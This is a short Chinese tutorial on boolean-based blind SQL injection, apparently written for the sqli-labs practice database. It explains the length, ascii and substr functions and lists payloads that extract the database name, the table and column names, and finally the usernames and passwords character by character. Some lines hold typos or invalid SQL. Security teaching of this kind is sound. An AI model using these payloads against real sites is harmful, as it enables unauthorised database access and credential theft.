三、SQL注入-布尔盲注
小于 1 分钟
三、SQL注入-布尔盲注
适用场景:
页面没有回显,只提示对错。
常用函数:
length(string)
判断字符串长度
ascii(char)
返回指定字符的ASCII值,与之对应的是char()函数,char()函数将ASCII值转换为字符。
substr(string,start,length)
截图字符串,string为待截取字符串;start为开始截取位置,string位置从1开始计数,截取的内容包含当前开始位置;length为截取内容长度,可选,默认为从start到结尾。
示例:爆破数据库、表、字段、内容
示例
--判断数据库名称长度
length((select database()))<9;
--逐字符爆破数据库名称
ascii(substr((select database()),1,1))=115;
--判断所有表名长度
length((select group_concat(table_name) from information_schema.tables where table_schema='security'))<50;
--逐字符爆破表名称
ascii(substr((select group_concat(table_name) from information_schema.tales where table_schema='security'),1,1))=115;
--判断字段名长度
length((select group_concat(column_name) from information_schema.columns where table_name='users'))=115
--逐字符爆破字段名称
ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))=115;
--判断字段内容长度
length((select (username,password) from users))<90;
--逐字符爆破内容
ascii(substr((select group_concat(username,password) from users),1,1))=115;
附录 ASCII表

Loading...
